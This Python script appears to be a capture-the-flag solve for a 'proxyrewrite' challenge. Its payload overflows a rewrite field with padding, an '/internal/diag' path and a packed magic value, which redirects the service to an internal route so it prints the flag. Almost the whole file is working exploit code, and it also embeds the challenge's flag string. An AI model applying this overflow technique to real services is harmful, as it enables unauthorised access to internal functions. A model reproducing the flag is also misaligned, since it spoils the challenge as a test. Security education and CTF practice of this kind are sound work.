#!/usr/bin/env python3
import argparse
import os
import socket
import struct
import subprocess
import sys

class Tube:
    def __init__(self, sock=None, proc=None):
        self.sock = sock
        self.proc = proc
    def recv(self, n=4096):
        if self.sock:
            return self.sock.recv(n)
        return os.read(self.proc.stdout.fileno(), n)
    def send(self, data):
        if self.sock:
            self.sock.sendall(data)
        else:
            os.write(self.proc.stdin.fileno(), data)
    def sendline(self, data):
        self.send(data + b"\n")
    def recvuntil(self, marker):
        out = b""
        while marker not in out:
            chunk = self.recv(1)
            if not chunk:
                raise EOFError(out)
            out += chunk
        return out

def symbol_value(binary, name):
    out = subprocess.check_output(["readelf", "-sW", binary], text=True)
    for line in out.splitlines():
        fields = line.split()
        if len(fields) >= 8 and fields[-1] == name:
            return int(fields[1], 16)
    raise RuntimeError(f"symbol not found: {name}")

def connect(args):
    if args.local:
        env = os.environ.copy()
        env["CTF_FLAG"] = args.flag
        proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env)
        return Tube(proc=proc)
    return Tube(sock=socket.create_connection((args.host, args.port), timeout=5))

def choose(io, value):
    io.recvuntil(b">")
    io.sendline(str(value).encode())

DIAG_OK=0x50525859
def main():
    p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31345); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/proxyrewrite"); p.add_argument("--flag",default="caplag{rewrite_converter_crossed_into_the_route}"); args=p.parse_args()
    io=connect(args); choose(io,2); io.recvuntil(b"match:"); io.sendline(b"A"); io.recvuntil(b"replace:")
    payload=b"B"*64+b"/internal/diag"+b"C"*(48-len(b"/internal/diag"))+struct.pack("<I",DIAG_OK)
    io.sendline(payload); io.recvuntil(b"target:"); io.sendline(b"A")
    choose(io,3); data=io.recvuntil(b"}"); print(data[data.rfind(b"caplag{"):].decode())
if __name__=="__main__": sys.exit(main())